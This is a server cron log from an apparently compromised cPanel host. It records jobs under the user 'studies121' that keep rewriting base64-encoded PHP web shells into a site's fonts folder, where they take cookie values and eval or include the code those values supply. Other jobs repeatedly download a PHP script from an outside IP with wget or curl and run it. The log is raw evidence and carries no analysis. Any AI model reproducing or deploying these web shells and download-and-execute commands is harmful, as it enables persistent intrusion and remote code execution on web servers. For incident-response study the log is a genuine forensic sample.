Sep 21 01:02:01 ip-184-168-122-23 CROND[4161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:02:01 ip-184-168-122-23 CROND[4162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:02:01 ip-184-168-122-23 CROND[4164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:03:01 ip-184-168-122-23 CROND[4331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:03:01 ip-184-168-122-23 CROND[4333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:03:01 ip-184-168-122-23 CROND[4334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:03:01 ip-184-168-122-23 CROND[4336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:04:01 ip-184-168-122-23 CROND[4426]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:04:01 ip-184-168-122-23 CROND[4428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:04:01 ip-184-168-122-23 CROND[4429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:04:01 ip-184-168-122-23 CROND[4430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:04:01 ip-184-168-122-23 CROND[4431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:05:01 ip-184-168-122-23 CROND[4543]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 01:05:01 ip-184-168-122-23 CROND[4542]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 01:05:01 ip-184-168-122-23 CROND[4546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:05:01 ip-184-168-122-23 CROND[4547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:05:01 ip-184-168-122-23 CROND[4548]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 01:05:01 ip-184-168-122-23 CROND[4550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:05:01 ip-184-168-122-23 CROND[4549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:06:02 ip-184-168-122-23 CROND[4649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:06:02 ip-184-168-122-23 CROND[4650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:06:02 ip-184-168-122-23 CROND[4651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:06:02 ip-184-168-122-23 CROND[4652]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:06:02 ip-184-168-122-23 CROND[4654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:07:01 ip-184-168-122-23 CROND[4759]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:07:01 ip-184-168-122-23 CROND[4762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:07:01 ip-184-168-122-23 CROND[4761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:07:01 ip-184-168-122-23 CROND[4763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:08:01 ip-184-168-122-23 CROND[4849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:08:01 ip-184-168-122-23 CROND[4851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:08:01 ip-184-168-122-23 CROND[4853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:08:01 ip-184-168-122-23 CROND[4852]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:08:01 ip-184-168-122-23 CROND[4854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:09:01 ip-184-168-122-23 CROND[4948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:09:01 ip-184-168-122-23 CROND[4950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:09:01 ip-184-168-122-23 CROND[4951]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 01:09:01 ip-184-168-122-23 CROND[4953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:09:01 ip-184-168-122-23 CROND[4952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:10:01 ip-184-168-122-23 CROND[5052]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 01:10:01 ip-184-168-122-23 CROND[5054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:10:01 ip-184-168-122-23 CROND[5057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:10:01 ip-184-168-122-23 CROND[5056]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 01:10:01 ip-184-168-122-23 CROND[5055]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:10:01 ip-184-168-122-23 CROND[5058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:10:01 ip-184-168-122-23 CROND[5059]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 01:10:01 ip-184-168-122-23 CROND[5061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:11:01 ip-184-168-122-23 CROND[5152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:11:01 ip-184-168-122-23 CROND[5155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:11:01 ip-184-168-122-23 CROND[5154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:11:01 ip-184-168-122-23 CROND[5156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:12:01 ip-184-168-122-23 CROND[5247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:12:01 ip-184-168-122-23 CROND[5245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:12:01 ip-184-168-122-23 CROND[5246]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:12:01 ip-184-168-122-23 CROND[5252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:12:01 ip-184-168-122-23 CROND[5250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:13:01 ip-184-168-122-23 CROND[5419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:13:01 ip-184-168-122-23 CROND[5418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:13:01 ip-184-168-122-23 CROND[5421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:13:01 ip-184-168-122-23 CROND[5420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:14:01 ip-184-168-122-23 CROND[5522]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:14:01 ip-184-168-122-23 CROND[5524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:14:01 ip-184-168-122-23 CROND[5525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
